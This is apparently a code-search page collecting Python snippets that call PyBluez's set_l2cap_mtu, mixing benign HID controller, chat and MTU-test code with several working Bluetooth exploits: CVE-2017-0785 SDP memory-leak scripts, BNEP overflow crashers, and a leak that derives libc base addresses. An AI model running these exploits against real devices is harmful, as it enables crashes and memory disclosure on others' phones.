Example #1
0
File: hid.py Project: zjoasan/osmc
    def __init__(self, bdaddress=None):
        self.cport = 0x11  # HID's control PSM
        self.iport = 0x13  # HID' interrupt PSM
        self.backlog = 1

        self.address = ""
        if bdaddress:
            self.address = bdaddress

        # create the HID control socket
        self.csock = BluetoothSocket(L2CAP)
        self.csock.bind((self.address, self.cport))
        set_l2cap_mtu(self.csock, 64)
        self.csock.settimeout(2)
        self.csock.listen(self.backlog)

        # create the HID interrupt socket
        self.isock = BluetoothSocket(L2CAP)
        self.isock.bind((self.address, self.iport))
        set_l2cap_mtu(self.isock, 64)
        self.isock.settimeout(2)
        self.isock.listen(self.backlog)

        self.connected = False

        self.client_csock = None
        self.caddress = None
        self.client_isock = None
        self.iaddress = None
Example #2
0
    def set_l2cap_mtu(self, mtu: int, device: str = None, port: int = None, service_name: str = None,
                      service_uuid: str = None):
        """
        Set the L2CAP MTU (Maximum Transmission Unit) value for a connected bluetooth device.
        Both the devices usually use the same MTU value over a connection.

        :param device: Device address or name
        :param port: Port number
        :param service_uuid: Service UUID
        :param service_name: Service name
        :param mtu: New MTU value
        """
        from bluetooth import BluetoothError, set_l2cap_mtu, L2CAP

        sock = self._get_sock(protocol=L2CAP, device=device, port=port, service_uuid=service_uuid,
                              service_name=service_name, connect_if_closed=True)

        if not sock:
            raise RuntimeError('set_l2cap_mtu: device not connected')

        try:
            set_l2cap_mtu(sock, mtu)
        except BluetoothError as e:
            self.close(device=device, port=port, service_name=service_name, service_uuid=service_uuid)
            raise e
Example #3
0
def crasher(targetAddress, targetName, timeout):
    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    sock.settimeout(timeout)
    bluetooth.set_l2cap_mtu(sock, 50)
    context.endian = 'big'
    p.status('Connecting to %s (%s)', targetName, targetAddress)
    try:
        sock.connect((targetAddress, 1))
    except:
        p.status('%s (%s) connection timed out, could be recovering',
                 targetName, targetAddress)
        return
    p.status('Sending packet 0')
    sock.send(packet(service_long, '\x00'))
    data = sock.recv(50)
    stack = ''
    try:
        for i in range(1, n):
            p.status('Sending packet %d' % i)
            sock.send(packet(service_short, data[-3:]))
            data = sock.recv(50)
            stack += data[9:-3]

    except KeyboardInterrupt:
        p.status('%s (%s) crash interrupted', targetName, targetAddress)

    except:
        p.status('%s (%s) crash attempt finished', targetName, targetAddress)

    finally:
        sock.close()
        return
Example #4
0
    def start_server(self) -> None:
        """connection = BluetoothConnection(
            control_socket_psm=HID_CONTROL_PSM,
            interrupt_socket_psm=HID_INTERRUPT_PSM,
            mtu=64
        )
        connection.connect()"""

        control_server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        control_server_socket.bind(("", HID_CONTROL_PSM))
        bluetooth.set_l2cap_mtu(control_server_socket, 64)
        control_server_socket.listen(1)

        interrupt_server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        interrupt_server_socket.bind(("", HID_INTERRUPT_PSM))
        bluetooth.set_l2cap_mtu(interrupt_server_socket, 64)
        interrupt_server_socket.listen(1)

        logging.info("Listening on both PSMs")

        control_socket, control_address = control_server_socket.accept()
        interrupt_socket, interrupt_address = interrupt_server_socket.accept()

        logging.info("Spawned control and interrupt connection threads")

        control = l2cap.L2CAPServerThread(control_socket, control_address)
        control.daemon = True
        control.start()

        interrupt = l2cap.L2CAPClientThread(interrupt_socket,
                                            interrupt_address, Queue())
        interrupt.daemon = True
        interrupt.start()
Example #5
0
    def __init__(self, xbmc, control_sock, interrupt_sock):

        self.xbmc = xbmc
        self.num_samples = 16
        self.sumx = [0] * self.num_samples
        self.sumy = [0] * self.num_samples
        self.sumr = [0] * self.num_samples
        self.axis_amount = [0, 0, 0, 0]

        self.released = set()
        self.pressed = set()
        self.pending = set()
        self.held = set()
        self.psflags = 0
        self.psdown = 0
        self.mouse_enabled = 0

        set_l2cap_mtu(control_sock, 64)
        set_l2cap_mtu(interrupt_sock, 64)
        time.sleep(
            0.25)  # If we ask to quickly here, it sometimes doesn't start

        # sixaxis needs this to enable it
        # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
        control_sock.send("\x53\xf4\x42\x03\x00\x00")
        data = control_sock.recv(1)
        # This command will turn on the gyro and set the leds
        # I wonder if turning on the gyro makes it draw more current??
        # it's probably a flag somewhere in the following command

        # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT
        # HID Report:1
        bytes = [0x52, 0x1]
        bytes.extend([0x00, 0x00, 0x00])
        bytes.extend([0xFF, 0x72])
        bytes.extend([0x00, 0x00, 0x00, 0x00])
        bytes.extend([0x02])  # 0x02 LED1, 0x04 LED2 ... 0x10 LED4
        # The following sections should set the blink frequncy of
        # the leds on the controller, but i've not figured out how.
        # These values where suggusted in a mailing list, but no explination
        # for how they should be combined to the 5 bytes per led
        #0xFF = 0.5Hz
        #0x80 = 1Hz
        #0x40 = 2Hz
        bytes.extend([0xFF, 0x00, 0x01, 0x00,
                      0x01])  #LED4 [0xff, 0xff, 0x10, 0x10, 0x10]
        bytes.extend([0xFF, 0x00, 0x01, 0x00,
                      0x01])  #LED3 [0xff, 0x40, 0x08, 0x10, 0x10]
        bytes.extend([0xFF, 0x00, 0x01, 0x00,
                      0x01])  #LED2 [0xff, 0x00, 0x10, 0x30, 0x30]
        bytes.extend([0xFF, 0x00, 0x01, 0x00,
                      0x01])  #LED1 [0xff, 0x00, 0x10, 0x40, 0x10]
        bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])
        bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])

        control_sock.send(struct.pack("42B", *bytes))
        data = control_sock.recv(1)
Example #6
0
def makeSocket():
    p.status('Creating L2CAP socket...')
    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bluetooth.set_l2cap_mtu(sock, mtu)
    context.endian = 'big'
    if (context.endian == 'big'):
        connectToDevice
    else:
        p.status('couldnt connect to target')
Example #7
0
def initialize(control_sock, interrupt_sock):
    # sixaxis needs this to enable it
    # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
    control_sock.send("\x53\xf4\x42\x03\x00\x00")
    time.sleep(0.25)
    data = control_sock.recv(1)

    set_l2cap_mtu(control_sock, 64)
    set_l2cap_mtu(interrupt_sock, 64)

    return data
Example #8
0
def initialize(control_sock, interrupt_sock):    
    # sixaxis needs this to enable it
    # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
    control_sock.send("\x53\xf4\x42\x03\x00\x00")
    time.sleep(0.25)
    data = control_sock.recv(1)

    set_l2cap_mtu(control_sock, 64)
    set_l2cap_mtu(interrupt_sock, 64)
    
    return data
Example #9
0
def connect_keyboard(addr):
    print('connecting keyboard ...')
    sock=bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bluetooth.set_l2cap_mtu( sock, 65535 )
    try:
        sock.connect((addr, 21))
        print('keyboard connected')
    except:
        print('failed to connect')
        sock = None
    return sock
Example #10
0
  def __init__(self, xbmc, control_sock, interrupt_sock):

    self.xbmc = xbmc
    self.num_samples = 16
    self.sumx = [0] * self.num_samples
    self.sumy = [0] * self.num_samples
    self.sumr = [0] * self.num_samples
    self.axis_amount = [0, 0, 0, 0]
    
    self.released = set()
    self.pressed  = set()
    self.pending  = set()
    self.held     = set()
    self.psflags  = 0
    self.psdown   = 0
    self.mouse_enabled = 0
    
    set_l2cap_mtu(control_sock, 64)
    set_l2cap_mtu(interrupt_sock, 64)
    time.sleep(0.25) # If we ask to quickly here, it sometimes doesn't start

    # sixaxis needs this to enable it
    # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
    control_sock.send("\x53\xf4\x42\x03\x00\x00")
    data = control_sock.recv(1)
    # This command will turn on the gyro and set the leds
    # I wonder if turning on the gyro makes it draw more current??
    # it's probably a flag somewhere in the following command

    # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT
    # HID Report:1
    bytes = [0x52, 0x1] 
    bytes.extend([0x00, 0x00, 0x00])
    bytes.extend([0xFF, 0x72])
    bytes.extend([0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x02]) # 0x02 LED1, 0x04 LED2 ... 0x10 LED4
    # The following sections should set the blink frequncy of
    # the leds on the controller, but i've not figured out how.
    # These values where suggusted in a mailing list, but no explination
    # for how they should be combined to the 5 bytes per led
    #0xFF = 0.5Hz
    #0x80 = 1Hz
    #0x40 = 2Hz
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED4 [0xff, 0xff, 0x10, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED3 [0xff, 0x40, 0x08, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED2 [0xff, 0x00, 0x10, 0x30, 0x30] 
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED1 [0xff, 0x00, 0x10, 0x40, 0x10]
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])

    control_sock.send(struct.pack("42B", *bytes))
    data = control_sock.recv(1)
Example #11
0
def exploit(target=None):
    if not target:
        try:
            target = args['TARGET']
        except:
            log.info("USAGE: cve20170785.py TARGET=XX:XX:XX:XX:XX:XX")

    service_long = 0x0100
    service_short = 0x0001
    mtu = 50
    n = 30

    p = log.progress('Exploit')
    p.status('Creating L2CAP socket')

    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bluetooth.set_l2cap_mtu(sock, mtu)
    context.endian = 'big'

    p.status('Connecting to target')
    sock.connect((target, 1))

    p.status('Sending packet 0')
    sock.send(packet(service_long, '\x00'))
    data = sock.recv(mtu)

    if data[-3] != 2:
        log.error('Invalid continuation state received.')

    stack = ''

    for i in range(1, n):
        p.status('Sending packet %d' % i)
        sock.send(packet(service_short, data[-3:]))
        data = sock.recv(mtu)
        stack_add = data[9:-3]
        if type(stack_add) == bytes:
            stack_add = str(stack_add).strip('b\'')
        stack += stack_add

    sock.close()

    p.success('Done')
    
    print(hexdump(stack))
def bluetooth_chat_server():
    """
    This is a Bluetooth Server for a Bluetooth Chat Program
    """
    # Get server socket handle
    server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

    # Increase Connection MTU
    bluetooth.set_l2cap_mtu(server_sock, 1023)
    print("Increased maximum transmission unit to 1024 bytes")

    port = 0x1001

    # Open an L2CAP Port and listen on it
    server_sock.bind(("", port))
    server_sock.listen(1)

    # Turn on discoverability of Bluetooth adapter (subprocess most feasable solution)
    subprocess.call(['sudo', 'hciconfig', 'hci0', 'piscan'])

    # Wait for client to connect
    client_sock, (bd_addr, _) = server_sock.accept()
    print("Accepted connection from ", bd_addr)

    # Start Chat function
    print("Started Bluetooth Chat program. You are the server.")
    while True:
        print("Waiting for message by client... ")
        data = client_sock.recv(1024)
        if len(data.decode()) == 0:
            break
        print("Client says: ", data.decode())

        print(
            "Please type something to send to the client (leave empty to exit): "
        )
        data = input()
        if len(data) == 0:
            break
        client_sock.send(data)

    # Close down all sockets
    client_sock.close()
    server_sock.close()
Example #13
0
File: sixaxis.py Project: tmgh/xbmc
def initialize(control_sock, interrupt_sock):
    # sixaxis needs this to enable it
    # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
    control_sock.send("\x53\xf4\x42\x03\x00\x00")
    time.sleep(0.25)
    data = control_sock.recv(1)

    set_l2cap_mtu(control_sock, 64)
    set_l2cap_mtu(interrupt_sock, 64)

    # This command will turn on the gyro and set the leds
    # I wonder if turning on the gyro makes it draw more current??
    # it's probably a flag somewhere in the following command

    # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT
    # HID Report:1
    bytes = [0x52, 0x1]
    bytes.extend([0x00, 0x00, 0x00])
    bytes.extend([0xFF, 0x72])
    bytes.extend([0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x02])  # 0x02 LED1, 0x04 LED2 ... 0x10 LED4
    # The following sections should set the blink frequncy of
    # the leds on the controller, but i've not figured out how.
    # These values where suggusted in a mailing list, but no explination
    # for how they should be combined to the 5 bytes per led
    #0xFF = 0.5Hz
    #0x80 = 1Hz
    #0x40 = 2Hz
    bytes.extend([0xFF, 0x00, 0x01, 0x00,
                  0x01])  #LED4 [0xff, 0xff, 0x10, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00,
                  0x01])  #LED3 [0xff, 0x40, 0x08, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00,
                  0x01])  #LED2 [0xff, 0x00, 0x10, 0x30, 0x30]
    bytes.extend([0xFF, 0x00, 0x01, 0x00,
                  0x01])  #LED1 [0xff, 0x00, 0x10, 0x40, 0x10]
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])

    control_sock.send(struct.pack("42B", *bytes))
    time.sleep(0.25)
    data = control_sock.recv(1)

    return data
Example #14
0
def main():
    target_bd_addr = args['BD_ADDR']

    l2cap_mtu = 50

    sock = BluetoothSocket(L2CAP)
    set_l2cap_mtu(sock, l2cap_mtu)

    sock.connect((target_bd_addr, PSM_SDP))

    print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
    params = {
        'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
        'MaximumServiceRecordCount': 0xFFFF,
        'ContinuationState': b'\x00'
    }
    sock.send(sdp_service_search_req(params))
    sdp_service_search_rsp = sock.recv(l2cap_mtu)
    
    info_len = sdp_service_search_rsp[-3]
    if info_len != ANDROID_CONT_STATE_INFO_LEN:
        print(sdp_service_search_rsp[-3])
        print('Invalid continuation state received.')
        sys.exit(1)

    stack = b''
    for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
        print('Sending packet %d' % i)
        params = {
            'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
            'MaximumServiceRecordCount': 0x0001,
            'ContinuationState': sdp_service_search_rsp[-3:]
        }
        sock.send(sdp_service_search_req(params))
        sdp_service_search_rsp = sock.recv(l2cap_mtu)
        
        # Leaked info is in ServiceRecordHandleList field
        stack += sdp_service_search_rsp[9:-3]

    sock.close()

    print(hexdump(stack))
    if len(stack) > 20:
        print('CVE-2017-0785')
Example #15
0
def device_handler(argv):
    '''
        Parses the command line args and push the data to a BT Hub.
    '''
    parser = argparse.ArgumentParser(description='''
                                      Parses the command line args and push the data to a BT Hub.
                                    ''')
    parser.add_argument('--baddr', default=None, help='''BT Hub's MAC address.''')
    parser.add_argument('--bport', default=0x1001, type=int, help='''BT Hub's port.
                  							 Defaults to 1011''')
    parser.add_argument('--log', default='INFO', help='''set log level to the specified value.
                                         Defaults to WARNING. Try DEBUG for maximum detail''')
    parser.add_argument('--syslog', action='store_true', help='enable logging to syslog')
    args = parser.parse_args(argv)


    if args.log:
        logging.getLogger().setLevel(args.log)
    if args.syslog:
        logging.getLogger().addHandler(logging.handlers.SysLogHandler())


    if args.baddr is None:
        logging.error('BT addr not provided')
        sys.exit(2)

    bt_addr = args.baddr
    bt_port = args.bport

    while True:
        bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        logging.info('Trying to connect to %s:%d', bt_addr, bt_port)
        bluetooth.set_l2cap_mtu(bt_socket, 65535)
        bt_socket.connect((bt_addr, bt_port))
        logging.info('Connected')

        data = str(datetime.datetime.now())
        sent = bt_socket.send(data)
        logging.info('sent packet of size %d (tried %d). Now sleeping for 5 seconds...',
                     sent, len(data))
        time.sleep(5)
        bt_socket.close()
Example #16
0
def initialize(control_sock, interrupt_sock):    
    # sixaxis needs this to enable it
    # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE
    control_sock.send("\x53\xf4\x42\x03\x00\x00")
    time.sleep(0.25)
    data = control_sock.recv(1)

    set_l2cap_mtu(control_sock, 64)
    set_l2cap_mtu(interrupt_sock, 64)

    # This command will turn on the gyro and set the leds
    # I wonder if turning on the gyro makes it draw more current??
    # it's probably a flag somewhere in the following command

    # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT
    # HID Report:1
    bytes = [0x52, 0x1] 
    bytes.extend([0x00, 0x00, 0x00])
    bytes.extend([0xFF, 0x72])
    bytes.extend([0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x02]) # 0x02 LED1, 0x04 LED2 ... 0x10 LED4
    # The following sections should set the blink frequncy of
    # the leds on the controller, but i've not figured out how.
    # These values where suggusted in a mailing list, but no explination
    # for how they should be combined to the 5 bytes per led
    #0xFF = 0.5Hz
    #0x80 = 1Hz
    #0x40 = 2Hz
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED4 [0xff, 0xff, 0x10, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED3 [0xff, 0x40, 0x08, 0x10, 0x10]
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED2 [0xff, 0x00, 0x10, 0x30, 0x30] 
    bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED1 [0xff, 0x00, 0x10, 0x40, 0x10]
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])
    bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00])

    control_sock.send(struct.pack("42B", *bytes))
    time.sleep(0.25)
    data = control_sock.recv(1)


    return data
def bluetooth_chat_client():
    """
    This is a Bluetooth Client for a Bluetooth Chat Program
    """
    # Get client socket handle
    client_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

    # Increase Connection MTU
    bluetooth.set_l2cap_mtu(client_sock, 1023)
    print("Increased maximum transmission unit to 1024 bytes")

    # Scan for discoverable regular bluetooth devices
    bd_addr = bluetooth_classic_scan()
    port = 0x1001

    # Connect to client
    client_sock.connect((bd_addr, port))
    print("Connected to ", bd_addr)

    # Start Chat function
    print("Started Bluetooth Chat program. You are the client.")
    while True:
        print("Please type something to send to the server (leave empty to exit): ")
        data = input()
        if len(data) == 0:
            break
        client_sock.send(data)

        print("Waiting for message by server... ")
        data = client_sock.recv(1024)
        if len(data.decode()) == 0:
            break
        print("Server says:", data.decode())

    # Close down client socket
    client_sock.close()
Example #18
0
    args = parser.parse_args()

    if not TARGET_RE.match(args.TARGET):
        sys.exit(
            "Argument TARGET needs to be of the form XX:XX:XX:XX:XX:XX where X is a hexadecimal character!"
        )

    if args.count < 1:
        sys.exit("Argument --count must be a positive integer number!")

    p = pwn.log.progress('Exploiting')
    p.status('Creating L2CAP socket')

    # Create a L2CAP socket and set MTU
    sock = bt.BluetoothSocket(bt.L2CAP)
    bt.set_l2cap_mtu(sock, MTU)

    p.status('Connecting to target via L2CAP')
    # Try to initiate a connection to the target
    try:
        sock.connect((args.TARGET, 1))
    except bt.btcommon.BluetoothError as e:
        pwn.log.failure("Connection failed: %s" % e.message)
        sys.exit(1)

    # Send the first package for the long service without continuation state
    p.status('Sending packet 0')
    sock.send(construct_packet(SDP_SERVICE_LONG, '\x00'))
    data = sock.recv(MTU)

    if data[-3] != '\x02':
Example #19
0
    print("")
    print("l2-mtu server            to start in server mode")
    print(
        "l2-mtu client <addr>     to start in client mode and connect to addr")
    sys.exit(2)


if len(sys.argv) < 2: usage()

mode = sys.argv[1]
if mode not in ["client", "server"]: usage()

if mode == "server":
    server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    server_sock.bind(("", 0x1001))
    bluetooth.set_l2cap_mtu(server_sock, 65535)
    server_sock.listen(1)
    while True:
        print("waiting for incoming connection")
        client_sock, address = server_sock.accept()
        print("Accepted connection from %s" % str(address))

        print("waiting for data")
        total = 0
        while True:
            try:
                data = client_sock.recv(65535)
            except bluetooth.BluetoothError as e:
                break
            if len(data) == 0: break
            print("received packet of size %d" % len(data))
Example #20
0
def usage():
    print("usage: l2-mtu < server | client > [options]")
    print("")
    print("l2-mtu server            to start in server mode")
    print("l2-mtu client <addr>     to start in client mode and connect to addr")
    sys.exit(2)

if len(sys.argv) < 2: usage()

mode = sys.argv[1]
if mode not in [ "client", "server" ]: usage()

if mode == "server":
    server_sock=bluetooth.BluetoothSocket( bluetooth.L2CAP )
    server_sock.bind(("",0x1001))
    bluetooth.set_l2cap_mtu( server_sock, 65535 )
    server_sock.listen(1)
    while True:
        print("waiting for incoming connection")
        client_sock,address = server_sock.accept()
        print("Accepted connection from %s" % str(address))


        print("waiting for data")
        total = 0
        while True:
            try:
                data = client_sock.recv(65535)
            except bluetooth.BluetoothError as e:
                break
            if len(data) == 0: break
Example #21
0
if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("TARGET", action="store", type=str, help="Bluetooth address of the target device")
    parser.add_argument("-l", "--loop", action="store_true", required=False, help="Loop sending the payload to prevent target from restarting Bluetooth service")
    args = parser.parse_args()

    if not TARGET_RE.match(args.TARGET):
        sys.exit("Argument TARGET needs to be of the form XX:XX:XX:XX:XX:XX where X is a hexadecimal character!")

    # Construct package to overflow with invalid pointers
    payload = construct_packet("AAAABBBB")

    pwn.log.info("Connecting to L2CAP socket...")
    # Create a low level L2CAP socket and set MTU
    socket = bt.BluetoothSocket(bt.L2CAP)
    bt.set_l2cap_mtu(socket, 1500)

    try:
        # Connect via BNEP
        socket.connect((args.TARGET, BNEP_PSM))
        pwn.log.info("Sending BNEP payload...")

        # Send packages to overflow buffer and loop sending if desired
        run = True
        while run:
            for i in range(30):
                socket.send(payload)
            # time.sleep(1)
            run = args.loop
        pwn.log.success("Crashed bluetooth service")
    except bt.btcommon.BluetoothError as e:
Example #22
0
    """
    If the extension flag is equal to 0x1 then
    one or more extension headers follows the BNEP
    header; If extension flag is equal to 0x0 then the
    BNEP payload follows the BNEP header.
    """
    return bnep_header_type | 128

def bnep_control_packet(control_type, control_packet):
    return p8(control_type) + control_packet

def packet(overflow):
    pkt = ''
    pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
    pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
    return pkt

bad_packet = packet('AAAABBBB')

log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))

log.info('Sending BNEP packets...')
for i in range(count):
    sock.send(bad_packet)

log.success('Done.')
sock.close()
Example #23
0
def set_bnep_header_extension_bit(bnep_header_type):
    """
    If the extension flag is equal to 0x1 then
    one or more extension headers follows the BNEP
    header; If extension flag is equal to 0x0 then the
    BNEP payload follows the BNEP header.
    """
    return bnep_header_type | 128

def bnep_control_packet(control_type, control_packet):
    return p8(control_type) + control_packet

def packet(overflow):
    pkt = ''
    pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
    pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
    return pkt

bad_packet = packet('AAAABBBB')

log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))

log.info('Sending BNEP packets...')
for i in range(count):
    sock.send(bad_packet)

log.success('Done.')
sock.close()
Example #24
0
def memory_leak_get_bases(src_hci, dst):
    service_long = 0x0100
    service_short = 0x0001
    mtu = 50
    n = 40

    def packet(service, continuation_state):
        pkt = '\x02\x00\x00'
        pkt += p16(7 + len(continuation_state))
        pkt += '\x35\x03\x19'
        pkt += p16(service)
        pkt += '\x01\x00'
        pkt += continuation_state
        return pkt

    p = log.progress('Exploit')
    p.status('Creating L2CAP socket')

    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bluetooth.set_l2cap_mtu(sock, mtu)
    context.endian = 'big'

    p.status('Connecting to target')
    sock.connect((dst, 1))

    p.status('Sending packet 0')
    sock.send(packet(service_long, '\x00'))
    data = sock.recv(mtu)

    if data[-3] != '\x02':
        log.error('Invalid continuation state received.')

    leak = ''

    for i in range(1, n):
        p.status('Sending packet %d' % i)
        sock.send(packet(service_short, data[-3:]))
        data = sock.recv(mtu)
        leak += data[9:-3]

    sock.close()

    log.info(hexdump(leak[0:0x200]))

    bluetooth_stack_offset = LEAK_LIB_BLUETOOTH_OFFSET
    libc_stack_offset = LEAK_LIB_LIBC_OFFSET

    libc_leak_address = struct.unpack(
        ">I", leak[libc_stack_offset:libc_stack_offset + 0x4])[0]
    bluetooth_default_leak_address = struct.unpack(
        ">I", leak[bluetooth_stack_offset:bluetooth_stack_offset + 4])[0]

    log.info("libc_leak_address %X" % libc_leak_address)
    log.info("bluetooth_default_leak_address %X" %
             bluetooth_default_leak_address)

    libc_text_base = (libc_leak_address
                      & 0xFFFFF000) - OFFSET_LIBC_LEAK_WITH_BASE
    bluetooth_default_bss_base = (bluetooth_default_leak_address &
                                  0xFFFFF000) - OFFSET_BLUETOOTH_LEAK_WITH_BASE

    log.info('libc_base: 0x%08x, bluetooth_default_base: 0x%08x' %
             (libc_text_base, bluetooth_default_bss_base))

    return libc_text_base, bluetooth_default_bss_base
Example #25
0
if len(sys.argv) < 2: usage()

mode = sys.argv[1]
if mode not in [ "client", "server" ]: usage()

if mode == "server":
    server_sock=bluetooth.BluetoothSocket( bluetooth.L2CAP )
    server_sock.bind(("",0x1001))
    server_sock.listen(1)
    while True:
        print("waiting for incoming connection")
        client_sock,address = server_sock.accept()
        print("Accepted connection from %s" % str(address))

        bluetooth.set_l2cap_mtu( client_sock, 65535 )

        print("waiting for data")
        total = 0
        while True:
            try:
                data = client_sock.recv(65535)
            except bluetooth.BluetoothError as e:
                break
            if len(data) == 0: break
            print("received packet of size %d" % len(data))

        client_sock.close()

        print("connection closed")
Example #26
0
    def start_send_thread(self):
        self.server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        self.server_socket.bind(("", 0xBEEF))
        self.server_socket.listen(1)

        bluetooth.advertise_service(self.server_socket, "grapefruit-server",
                                    str(self.server_uuid))

        # this should loop until we should stop all bluetooth communications
        # for instance, if we need to shutdown the game
        while not self.done.is_set():
            print("start of connection loop")

            # perform this until we get a valid connection with our intended client
            while not self.is_connected.is_set():
                self.client_socket, address = self.server_socket.accept()
                print("Bluetooth: connection from: " + str(address))

                # we got a connection, now verify the client
                # client should send their uuid first, and we check that it matches what was in
                # our friends.uuid file from the provisioning script

                # uuid is 16 bytes, so only receive that many
                c_uuid = self.client_socket.recv(16)
                #print("DEBUG: BlueServer received:",c_uuid)
                c_uuid = uuid.UUID(bytes=c_uuid[0:16])
                print("DEBUG: BlueServer client UUID: " + str(c_uuid))

                # check that our only allowed uuid matches
                if c_uuid == self.client_uuid:
                    self.client_socket.send("OK")
                    #bluetooth.stop_advertising(self.server_socket)
                    self.is_connected.set()
                else:
                    print("BlueServer: bad uuid attempted connection: " +
                          str(c_uuid))
                    self.client_socket.close()

            # set mtu of l2cap socket to larger than 672 bytes
            # update 3/26/18 Message.L2CAP_MTU is set to 672, so no change from default value
            bluetooth.set_l2cap_mtu(self.server_socket, Message.L2CAP_MTU)
            #bluetooth.set_l2cap_mtu(self.client_socket, Message.L2CAP_MTU)

            # the following loop is the communications part of the server
            # it sends messages added to a queue via the interface of BlueServer
            # it will also periodically ping the child to make sure our connection is good
            #
            # this should loop for:
            #   as long as we have a connection OR
            #   application requests that we die
            while self.is_connected.is_set() and not self.done.is_set():
                message = None
                try:
                    message = self.send_queue.get(True, 10.0)
                    self.client_socket.send(message)

                except queue.Empty:
                    # no message is available for sending, ping the child instead
                    #ping = Message.create_bluetooth_message(Message, PING_TO_CLIENT)
                    #self.server_socket.send(ping)
                    self.send_message(PING_TO_CLIENT)
                    self.pings_sent += 1

                    print("***BlueServer: sent ping #: " +
                          str(self.pings_sent))

                except bluetooth.btcommon.BluetoothError:
                    self.is_connected.clear()

        # TODO should probably do a clean up to get any data that should be commited to database before killing connection

        # all done with our bluetooth connection, shut everything down
        self.client_socket.close()
        self.server_socket.close()
Example #27
0
n = 30

def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
Example #28
0
def exploit(target=None):
	
#	# Check for args
#	if (len(sys.argv) != 2) or (not ':' in sys.argv[1]) or (len(sys.argv[1]) != len('XX:XX:XX:XX:XX:XX')):
#	    print ('Usage: ' + sys.argv[0] + ' [TARGET XX:XX:XX:XX:XX:XX]')
#	    exit(1)

	# --
#	target = sys.argv[1]
	service_long = 0x0100
	service_short = 0x0001
	mtu = 50
	n = 30
	context.endian = 'big'

	if not target:
 		try:
			target = args['TARGET']
		except:
			log.info("USAGE: cve20170785.py TARGET=XX:XX:XX:XX:XX:XX")

	# Creating progress log 
	p = log.progress('Exploit')
	p.status('Creating L2CAP socket')

	# Start socket L2CAP
	sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
	bluetooth.set_l2cap_mtu(sock, mtu)

	time.sleep(1)
	p.status('Connecting to target')

	try:
		sock.connect((target, 1))
	except Exception:
		try:
			log.error('Unable to reach device ' + target)
		except Exception:
			exit(1)

	p.status('Sending packet')
	try:
		sock.send(packet(service_long, '\x00'))
	except Exception:
		try:
